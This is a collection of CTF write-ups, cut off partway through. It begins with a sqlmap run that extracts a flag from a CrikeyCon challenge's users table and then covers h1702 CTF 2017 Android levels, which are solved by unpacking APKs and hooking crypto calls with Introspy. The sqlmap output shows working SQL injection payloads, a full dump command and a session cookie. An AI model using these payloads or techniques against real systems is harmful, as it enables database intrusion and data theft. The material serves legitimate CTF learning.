Payload: password=-2518' OR 9960=9960#&login=login=&username=
Type: error-based
Title: MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
Payload: password=' OR (SELECT 1455 FROM(SELECT COUNT(*),CONCAT(0x7170767071,(SELECT (ELT(1455=1455,1))),0x717a7a6b71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- DWAo&login=login=&username=
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 OR time-based blind
Payload: password=' OR SLEEP(5)-- NGfN&login=login=&username=
---
[22:16:26] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu 16.04 (xenial)
web application technology: Apache 2.4.18
back-end DBMS: MySQL >= 5.0
[22:16:26] [INFO] fetching tables for database: 'ctf'
[22:16:26] [INFO] the SQL query used returns 1 entries
[22:16:26] [INFO] resumed: users
Database: ctf
[1 table]
+-------+
| users |
+-------+
[22:16:26] [INFO] fetched data logged to text files under '/root/.sqlmap/output/ctf.crikeycon.com'
[*] shutting down at 22:16:26
root@blackhat:~# sqlmap -u 'http://ctf.crikeycon.com:8003/' --data='username=%27&password=&login=Submit+Query' --risk=1 --cookie='connect.sid=s%3A2K6sIvSsPyc0M8W96l0DrFXiJkW1mGQd.vp9sSrmQ6NlXc2ymNkcqywsOjO9JKHEF1evVc0mwofI;session=.eJwVz1FrgzAUBeC_Mu6zD5q6F6GwslqxcCO6diF5s42ruSYWWkZNSv_7stdzPg6cJ_TamRmKn97ehwSMhiLL8gTm63weoHjC2wkKkG5vOZMPrFqmXOcagV66ncHQTcq1XtExV9QGvi09ujpFUaYYphxFNKRJUmcb0TmkyyJZtKL1Mlw8sh2hwIWHTaoOE5OhzWTYeNxiyql-j54p-p7iDnE6MiXK_D9rqnppqpJJV6-k4LGzIz-MRtF5Da8Efu_Dbe5dPAAZX3183q4P_TWawWp4_QEENVCR.C7P7fw.9gp4AAialH1yX46-_g4QXofF2G;' -D ctf -T users --dump
___
__H__
___ ___["]_____ ___ ___ {1.1.2#stable}
|_ -| . [)] | .'| . |
|___|_ [,]_|_|_|__,| _|
|_|V |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 22:16:43
[22:16:43] [WARNING] it appears that you have provided tainted parameter values ('username='') with most probably leftover chars/statements from manual SQL injection test(s). Please, always use only valid parameter values so sqlmap could be able to run properly
are you really sure that you want to continue (sqlmap could have problems)? [y/N] y
[22:16:44] [WARNING] provided value for parameter 'password' is empty. Please, always use only valid parameter values so sqlmap could be able to run properly
[22:16:44] [INFO] resuming back-end DBMS 'mysql'
[22:16:50] [INFO] testing connection to the target URL
[22:16:50] [WARNING] there is a DBMS error found in the HTTP response body which could interfere with the results of the tests
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: password (POST)
Type: boolean-based blind
Title: OR boolean-based blind - WHERE or HAVING clause (MySQL comment)
Payload: password=-2518' OR 9960=9960#&login=login=&username=
Type: error-based
Title: MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
Payload: password=' OR (SELECT 1455 FROM(SELECT COUNT(*),CONCAT(0x7170767071,(SELECT (ELT(1455=1455,1))),0x717a7a6b71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- DWAo&login=login=&username=
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 OR time-based blind
Payload: password=' OR SLEEP(5)-- NGfN&login=login=&username=
---
[22:16:50] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu 16.04 (xenial)
web application technology: Apache 2.4.18
back-end DBMS: MySQL >= 5.0
[22:16:50] [INFO] fetching columns for table 'users' in database 'ctf'
[22:16:50] [INFO] the SQL query used returns 2 entries
[22:16:50] [INFO] resumed: username
[22:16:50] [INFO] resumed: varchar(50)
[22:16:50] [INFO] resumed: password
[22:16:50] [INFO] resumed: varchar(50)
[22:16:50] [INFO] fetching entries for table 'users' in database 'ctf'
[22:16:50] [INFO] the SQL query used returns 1 entries
[22:16:50] [INFO] resumed: flag{SqL_1nj3ct10nz_ar3_t00_h4RD_f0r_p1Mp5}
[22:16:50] [INFO] resumed: admin
[22:16:50] [INFO] analyzing table dump for possible password hashes
Database: ctf
Table: users
[1 entry]
+----------+---------------------------------------------+
| username | password |
+----------+---------------------------------------------+
| admin | flag{SqL_1nj3ct10nz_ar3_t00_h4RD_f0r_p1Mp5} |
+----------+---------------------------------------------+
[22:16:50] [INFO] table 'ctf.users' dumped to CSV file '/root/.sqlmap/output/ctf.crikeycon.com/dump/ctf/users.csv'
[22:16:50] [INFO] fetched data logged to text files under '/root/.sqlmap/output/ctf.crikeycon.com'
[*] shutting down at 22:16:50
flag{SqL_1nj3ct10nz_ar3_t00_h4RD_f0r_p1Mp5}
File: CTF-Writeups/h1702-CTF-2017.md
https://h1702ctf.com
Android Level 1 Solution
File: ctfone6-6118c10be480b994654a1f01cd322af2df2ceab6.apk
After downloading the APK, I ran reverse-apk (https://github.com/1N3/ReverseAPK) to get a list of extracted files.
reverse-apk ctfone-490954d49dd51911bc730d8161541cf13e7416f9.apk
__________
\______ \ _______ __ ___________ ______ ____
| _// __ \ \/ // __ \_ __ \/ ___// __ \
| | \ ___/\ /\ ___/| | \/\___ \ ___/
|____|_ /\___ >\_/ \___ >__| /____ >\___ >
\/ \/ \/ \/ \/
_____ __________ ____ __.
/ _ \______ \ |/ _|
--=[( by 1N3@CrowdShield )]=-- / /_\ \| ___/ <
--=[( https://crowdshield.com )]=-- / | \ | | | \
\____|__ /____| |____|__ \
\/ \/
Unpacking APK file...
=====================================================================
Archive: /pentest/mobile/apks/ctfone-490954d49dd51911bc730d8161541cf13e7416f9.apk
replace /pentest/mobile/apks/ctfone-490954d49dd51911bc730d8161541cf13e7416f9.apk-unzipped/AndroidManifest.xml? [y]es, [n]o, [A]ll, [N]one, [r]ename: A
inflating: /pentest/mobile/apks/ctfone-490954d49dd51911bc730d8161541cf13e7416f9.apk-unzipped/AndroidManifest.xml
inflating: /pentest/mobile/apks/ctfone-490954d49dd51911bc730d8161541cf13e7416f9.apk-unzipped/META-INF/CERT.RSA
inflating: /pentest/mobile/apks/ctfone-490954d49dd51911bc730d8161541cf13e7416f9.apk-unzipped/META-INF/CERT.SF
inflating: /pentest/mobile/apks/ctfone-490954d49dd51911bc730d8161541cf13e7416f9.apk-unzipped/META-INF/MANIFEST.MF
inflating: /pentest/mobile/apks/ctfone-490954d49dd51911bc730d8161541cf13e7416f9.apk-unzipped/assets/asset1
inflating: /pentest/mobile/apks/ctfone-490954d49dd51911bc730d8161541cf13e7416f9.apk-unzipped/assets/asset10
inflating: /pentest/mobile/apks/ctfone-490954d49dd51911bc730d8161541cf13e7416f9.apk-unzipped/assets/asset2
inflating: /pentest/mobile/apks/ctfone-490954d49dd51911bc730d8161541cf13e7416f9.apk-unzipped/assets/asset3
inflating: /pentest/mobile/apks/ctfone-490954d49dd51911bc730d8161541cf13e7416f9.apk-unzipped/assets/asset4
inflating: /pentest/mobile/apks/ctfone-490954d49dd51911bc730d8161541cf13e7416f9.apk-unzipped/assets/asset5
inflating: /pentest/mobile/apks/ctfone-490954d49dd51911bc730d8161541cf13e7416f9.apk-unzipped/assets/asset6
inflating: /pentest/mobile/apks/ctfone-490954d49dd51911bc730d8161541cf13e7416f9.apk-unzipped/assets/asset7
inflating: /pentest/mobile/apks/ctfone-490954d49dd51911bc730d8161541cf13e7416f9.apk-unzipped/assets/asset8
inflating: /pentest/mobile/apks/ctfone-490954d49dd51911bc730d8161541cf13e7416f9.apk-unzipped/assets/asset9
inflating: /pentest/mobile/apks/ctfone-490954d49dd51911bc730d8161541cf13e7416f9.apk-unzipped/assets/tHiS_iS_nOt_tHE_SeCrEt_lEveL_1_fiLE
This revealed an asset file called tHiS_iS_nOt_tHE_SeCrEt_lEveL_1_fiLE.
Next step was to analyze the file. To do this, I opened the directory in nautilus:
cd /pentest/mobile/apks/ctfone-490954d49dd51911bc730d8161541cf13e7416f9.apk-unzipped/assets/
nautilus $PWD &
This revealed that the file was an image. From here, I opened the file which revealed the flag (cApwN{WELL_THAT_WAS_SUPER_EASY}.
Android Level 2 Solution
After installing the APK provided and loading the application on the phone, the level 2 activity revealed a "GETHASHED" button which revealed a SHA-256 hashed output.
After reversing the APK using reverse-apk (https://github.com/1N3/ReverseAPK), I discovered the TabFragment2.java class file which returns text from the InCryption.hashOfPlainText() method when the "GETHASHED" button is clicked:
package com.h1702ctf.ctfone;
import android.os.Bundle;
import android.support.v4.app.Fragment;
import android.view.LayoutInflater;
import android.view.View;
import android.view.View.OnClickListener;
import android.view.ViewGroup;
import android.widget.Button;
import android.widget.TextView;
public class TabFragment2 extends Fragment {
TextView mHashView;
public View onCreateView(LayoutInflater inflater, ViewGroup container, Bundle savedInstanceState) {
View v = inflater.inflate(R.layout.tag_fragment2, container, false);
this.mHashView = (TextView) v.findViewById(R.id.hashText);
((Button) v.findViewById(R.id.hashmebutton)).setOnClickListener(new OnClickListener() {
public void onClick(View v) {
try {
TabFragment2.this.mHashView.setText(InCryption.hashOfPlainText());
TabFragment2.this.mHashView.setBackgroundColor(-1);
} catch (Exception e) {
e.printStackTrace();
}
}
});
return v;
}
}package com.h1702ctf.ctfone;
import java.math.BigInteger;
import java.security.MessageDigest;
import java.security.NoSuchAlgorithmException;
import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
public class InCryption {
static String encryptedHex = "ec49822b5417f4dad5d6048804c07f128bb0552673171d078cc2e6b191b4cbaa2d8c5c0bb95e29cee0cb0ea0db961a33ad074d17c3a227d487c85b88487435c97c3f9992b1a3d08f43fc92f416820f95ba463a67b09eb3433fb94ce2d2c5ac25ec49822b5417f4dad5d6048804c07f127c3f9992b1a3d08f43fc92f416820f95ba463a67b09eb3433fb94ce2d2c5ac25069590e37f53bebf7c16b617482a4b8ae151286044c2a8237302612c7d88c8b2ce0eef96ce210effc6a2733a73b371b1d764b219e31def9c556a602e6b236b483469118ed906f6b3abeff55bcdc7e5a00d0d3f3cb085730e3335b7170a03ed91fca1309cccb8078e2a9100cbbeaff61e4be535b1314ecb6fb99b3985c06ae00616288270b1670f7bf609b8c9c3d62e29069590e37f53bebf7c16b617482a4b8ae151286044c2a8237302612c7d88c8b2ad074d17c3a227d487c85b88487435c9828b8963fd132831a1f74db480a35711e151286044c2a8237302612c7d88c8b2ad074d17c3a227d487c85b88487435c97c3f9992b1a3d08f43fc92f416820f950d0d3f3cb085730e3335b7170a03ed9186622d5215afd9192d1b553cba233ff2244ded87c4d06dd82895f2b20110bbadfca1309cccb8078e2a9100cbbeaff61e4be535b1314ecb6fb99b3985c06ae00616288270b1670f7bf609b8c9c3d62e29ec49822b5417f4dad5d6048804c07f127c3f9992b1a3d08f43fc92f416820f953d255754f0e4004ac69e2e9b2e35ebc79ef39beaabf2ba23780e727eeb4e277a2757324dfeeb647dd2ab010b91af0bd3ad074d17c3a227d487c85b88487435c98bb0552673171d078cc2e6b191b4cbaa2d8c5c0bb95e29cee0cb0ea0db961a339ef39beaabf2ba23780e727eeb4e277a3cad3497d53b3c22fdd26fbb83f5cae8fe5f529bf234dcef4e76913394ae8f85244ded87c4d06dd82895f2b20110bbade57dded1cc4a151b2da4b3fa1041bc7f569f11fcae23f0661a6722466e5697ce069590e37f53bebf7c16b617482a4b8ae151286044c2a8237302612c7d88c8b29a4ef6d9c9cf8127de64c59ecc865fd89a4ef6d9c9cf8127de64c59ecc865fd8d5a6b3cf8313ced4ca89414d00adb0c2a854ed5338d047e0b65b956bd2a19fcc0d0d3f3cb085730e3335b7170a03ed91e891d349f90afb2d3f9608a7cdba0714e891d349f90afb2d3f9608a7cdba071486622d5215afd9192d1b553cba233ff216288270b1670f7bf609b8c9c3d62e299ef39beaabf2ba23780e727eeb4e277a4be535b1314ecb6fb99b3985c06ae00616288270b1670f7bf609b8c9c3d62e299a4ef6d9c9cf8127de64c59ecc865fd8ce0eef96ce210effc6a2733a73b371b1d764b219e31def9c556a602e6b236b48ba463a67b09eb3433fb94ce2d2c5ac25069590e37f53bebf7c16b617482a4b8ac9dcd54eb33f50a80149e8457d843b84ba463a67b09eb3433fb94ce2d2c5ac25e6ff67049d59429fa81ea1d14e1a4abde5beb88aa4073a5c948816378f2cc96b87b18c9563646c0652a9efd72f29cdd33cad3497d53b3c22fdd26fbb83f5cae82d8c5c0bb95e29cee0cb0ea0db961a33ce0eef96ce210effc6a2733a73b371b10ea54646c339600f167b5dd2029ba72fe5beb88aa4073a5c948816378f2cc96b5762452778b31d42ead4f81062775b69e891d349f90afb2d3f9608a7cdba07147c3f9992b1a3d08f43fc92f416820f953d255754f0e4004ac69e2e9b2e35ebc7ec49822b5417f4dad5d6048804c07f127c3f9992b1a3d08f43fc92f416820f95c8dab6841e142338fcc2d01ad0a3bce686622d5215afd9192d1b553cba233ff216288270b1670f7bf609b8c9c3d62e29ec49822b5417f4dad5d6048804c07f127c3f9992b1a3d08f43fc92f416820f950d0d3f3cb085730e3335b7170a03ed91fca1309cccb8078e2a9100cbbeaff61e0f1f25bef4b7f6442b420b861ad834aac8dab6841e142338fcc2d01ad0a3bce67c3f9992b1a3d08f43fc92f416820f953469118ed906f6b3abeff55bcdc7e5a03469118ed906f6b3abeff55bcdc7e5a00d0d3f3cb085730e3335b7170a03ed91e891d349f90afb2d3f9608a7cdba071486622d5215afd9192d1b553cba233ff2244ded87c4d06dd82895f2b20110bbad828b8963fd132831a1f74db480a35711e151286044c2a8237302612c7d88c8b29a4ef6d9c9cf8127de64c59ecc865fd8d5a6b3cf8313ced4ca89414d00adb0c22d8c5c0bb95e29cee0cb0ea0db961a33ad074d17c3a227d487c85b88487435c9828b8963fd132831a1f74db480a35711c9dcd54eb33f50a80149e8457d843b845bd9ba2fb7cea981a019c784939dfd0587b18c9563646c0652a9efd72f29cdd328d63f46073aec9a139375fd6d2917d3e5beb88aa4073a5c948816378f2cc96b87b18c9563646c0652a9efd72f29cdd30f1f25bef4b7f6442b420b861ad834aa41c1b4f70e10af5fa9e82a2b773ea7070ea54646c339600f167b5dd2029ba72fe5beb88aa4073a5c948816378f2cc96b5762452778b31d42ead4f81062775b697c3f9992b1a3d08f43fc92f416820f953469118ed906f6b3abeff55bcdc7e5a05bd9ba2fb7cea981a019c784939dfd055762452778b31d42ead4f81062775b69e891d349f90afb2d3f9608a7cdba0714fca1309cccb8078e2a9100cbbeaff61e2757324dfeeb647dd2ab010b91af0bd3ad074d17c3a227d487c85b88487435c9828b8963fd132831a1f74db480a35711e151286044c2a8237302612c7d88c8b29a4ef6d9c9cf8127de64c59ecc865fd8d5a6b3cf8313ced4ca89414d00adb0c2fc59c44e8f481760ef82750176f42291fb7648043fce2338843c67eae566b35c8bb0552673171d078cc2e6b191b4cbaa2d8c5c0bb95e29cee0cb0ea0db961a33ec49822b5417f4dad5d6048804c07f12828b8963fd132831a1f74db480a3571116d696017b13e85d5aaf28d6ac7c3d315762452778b31d42ead4f81062775b698bb0552673171d078cc2e6b191b4cbaa2d8c5c0bb95e29cee0cb0ea0db961a339a4ef6d9c9cf8127de64c59ecc865fd8ce0eef96ce210effc6a2733a73b371b1d764b219e31def9c556a602e6b236b48ba463a67b09eb3433fb94ce2d2c5ac25ce0eef96ce210effc6a2733a73b371b1d764b219e31def9c556a602e6b236b48c8dab6841e142338fcc2d01ad0a3bce67c3f9992b1a3d08f43fc92f416820f95ba463a67b09eb3433fb94ce2d2c5ac25ce0eef96ce210effc6a2733a73b371b1a25c129f9071f52f674b28cff9f4ade7244ded87c4d06dd82895f2b20110bbade891d349f90afb2d3f9608a7cdba0714828b8963fd132831a1f74db480a35711c9dcd54eb33f50a80149e8457d843b843d255754f0e4004ac69e2e9b2e35ebc7e6ff67049d59429fa81ea1d14e1a4abd569f11fcae23f0661a6722466e5697ce9ef39beaabf2ba23780e727eeb4e277abea40e40b98659cafe52c74461e7015a87b18c9563646c0652a9efd72f29cdd33cad3497d53b3c22fdd26fbb83f5cae8fe5f529bf234dcef4e76913394ae8f8516288270b1670f7bf609b8c9c3d62e29ec49822b5417f4dad5d6048804c07f127c3f9992b1a3d08f43fc92f416820f95ba463a67b09eb3433fb94ce2d2c5ac25e6ff67049d59429fa81ea1d14e1a4abd31e2e92c15e8b3afb3b4a4344f6d37a33d255754f0e4004ac69e2e9b2e35ebc7e6ff67049d59429fa81ea1d14e1a4abd31e2e92c15e8b3afb3b4a4344f6d37a341c1b4f70e10af5fa9e82a2b773ea707a25c129f9071f52f674b28cff9f4ade7244ded87c4d06dd82895f2b20110bbad011d2d66c36261ef7fb7ca949a22ed84";
public static String hashOfPlainText() throws Exception {
return getHash(new String(hex2bytes(new String(decrypt(hex2bytes("0123456789ABCDEF0123456789ABCDEF"), hex2bytes(encryptedHex))).trim())));
}
private static byte[] decrypt(byte[] raw, byte[] encrypted) throws Exception {
SecretKeySpec skeySpec = new SecretKeySpec(raw, "AES");
Cipher cipher = Cipher.getInstance("AES/ECB/PKCS5Padding");
cipher.init(2, skeySpec);
return cipher.doFinal(encrypted);
}
public static String getHash(String text) {
try {
MessageDigest digest = MessageDigest.getInstance("SHA-256");
digest.reset();
return bin2hex(digest.digest(text.getBytes()));
} catch (NoSuchAlgorithmException e1) {
e1.printStackTrace();
return "";
}
}
static byte[] hex2bytes(String s) {
byte[] b = new byte[(s.length() / 2)];
for (int i = 0; i < b.length; i++) {
int index = i * 2;
b[i] = (byte) Integer.parseInt(s.substring(index, index + 2), 16);
}
return b;
}
static String bin2hex(byte[] data) {
return String.format("%0" + (data.length * 2) + "X", new Object[]{new BigInteger(1, data)});
}
}This appeared to be hashing some data with SHA-256 but I had to find a way to see what data was being passed to each method and class.
To do this, I enabled Introspy to hook into the crypto functions within the application and log all data being passed.
From here, I used pidcat to log everything to the console which revealed the clear-text morse code when clicking the "Reveal the hash" button on the level 2 activity.
IntrospyLog I ### Hooking: javax.crypto.spec.SecretKeySpec->SecretKeySpec() with 2 args
Introspy I ### KEY ### com.h1702ctf.ctfone - javax.crypto.spec.SecretKeySpec->SecretKeySpec()
I -> Key: [ASNFZ4mrze8BI0VniavN7w==], algo: AES
IntrospyLog I ### Hooking: javax.crypto.Cipher->init() with 3 args
I ### Hooking: javax.crypto.Cipher->init() with 3 args
I ### Hooking: javax.crypto.Cipher->init() with 4 args
I ### Hooking: javax.crypto.Cipher->init() with 4 args
I ### Hooking: javax.crypto.Cipher->init() with 3 args
I ### Hooking: javax.crypto.Cipher->init() with 2 args
I ### Hooking: javax.crypto.Cipher->doFinal() with 1 args
I ### Hooking: javax.crypto.Cipher->doFinal() with 2 args
I ### Hooking: javax.crypto.Cipher->doFinal() with 4 args
I ### Hooking: javax.crypto.Cipher->doFinal() with 5 args
I ### Hooking: javax.crypto.Cipher->doFinal() with 3 args
genymotion_audio W out_write() limiting sleep time 116462 to 39909
IntrospyLog I ### Hooking: javax.crypto.Cipher->doFinal() with 0 args
Introspy I ### GENERAL CRYPTO ### com.h1702ctf.ctfone - javax.crypto.Cipher->init()
I -> Mode: DECRYPT_MODE, Key format: RAW, Key: [ASNFZ4mrze8BI0VniavN7w==]
I ### GENERAL CRYPTO ### com.h1702ctf.ctfone - javax.crypto.Cipher->init()
I -> Mode: DECRYPT_MODE, Key format: RAW, Key: [ASNFZ4mrze8BI0VniavN7w==]
W ### GENERAL CRYPTO ### com.h1702ctf.ctfone - javax.crypto.Cipher->doFinal()
W -> Input data is not in a readable format, base64: [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]
W -> DECRYPT: [4441534820444f54204441534820444f5420535041434520444f54204441534820535041434520444f542044415348204441534820444f5420535041434520444f5420444153482044415348205350414345204441534820444f54205350414345204441534820444f5420444f5420444f5420535041434520444f5420
genymotion_audio W out_write() limiting sleep time 78367 to 39909
dalvikvm D GC_CONCURRENT freed 3439K, 7% free 50991K/54535K, paused 10ms+0ms, total 16ms
Introspy I ### HASH ### com.h1702ctf.ctfone - java.security.MessageDigest->update()
I -> Hash of : [DASH DOT DASH DOT SPACE DOT DASH SPACE DOT DASH DASH DOT SPACE DOT DASH DASH SPACE DASH DOT SPACE DASH DOT DOT DOT SPACE DOT DASH DOT SPACE DOT DASH SPACE DASH DOT DASH DOT SPACE DASH DOT DASH SPACE DOT SPACE DASH SPACE DASH DOT DASH DOT SPACE DOT DASH DOT SPACE DASH DOT DASH DASH SPACE DOT DASH DASH DOT SPACE DASH DASH DOT DOT DOT SPACE DASH DASH DASH DASH DASH SPACE DASH DOT
DOT DOT DOT SPACE DOT DASH DOT SPACE DOT DOT DOT DOT DASH SPACE DOT DASH DASH DOT SPACE DOT DOT DOT DOT SPACE DASH DOT DASH DASH SPACE DOT DOT DASH SPACE DASH DOT SPACE DASH DOT DOT SPACE DOT SPACE DOT DASH DOT SPACE DOT DOT DOT SPACE DASH DOT DASH DOT SPACE DASH DASH DASH SPACE DOT DASH DOT SPACE DOT SPACE DOT DASH DASH DASH DASH SPACE DOT DOT DOT DOT DOT SPACE DOT DOT DASH SPACE DASH DOT S
PACE DASH DOT DOT SPACE DOT SPACE DOT DASH DOT SPACE DOT DOT DOT SPACE DASH DOT DASH DOT SPACE DASH DASH DASH SPACE DOT DASH DOT SPACE DOT SPACE DOT DOT DOT DOT SPACE DOT DOT DOT DOT DASH SPACE DOT DASH DOT SPACE DASH DOT DOT SPACE DOT DOT DASH SPACE DASH DOT SPACE DASH DOT DOT SPACE DOT SPACE DOT DASH DOT SPACE DOT DOT DOT SPACE DASH DOT DASH DOT SPACE DASH DASH DASH SPACE DOT DASH DOT SPAC
E DOT SPACE DASH DOT DOT DOT SPACE DOT DASH DOT SPACE DASH DASH DASH DASH DASH SPACE DASH DOT DOT DOT SPACE DOT DASH DOT SPACE DOT DASH SPACE DASH DOT DASH DOT SPACE DASH DOT DASH SPACE DOT SPACE DASH .] is: [47DEQpj8HBSa+/TImW+5JCeuQeRkm5NMpJWZG3hSuFU=] , Algo: [SHA-256]
I then converted the morse code to its literal format and converted the code using http://www.onlineconversion.com/morse_code.htm
-.-. .- .--. .-- -. -... .-. .- -.-. -.- . - -.-. .--. --... ----- -.... .--. .... -.-- ..- -. -.. . .-. ... -.-. --- .-. . .---- ..... ..- -. -.. . .-. ... -.-. --- .-. . .... ....- .-. -.. ..- -. -.. . .-. ... -.-. --- .-. . -... .-. ----- -... .-. .- -.-. -.- . -
This revealed the flag:
CAPWN{CRYP706R4PHY_15_H4RD_BR0}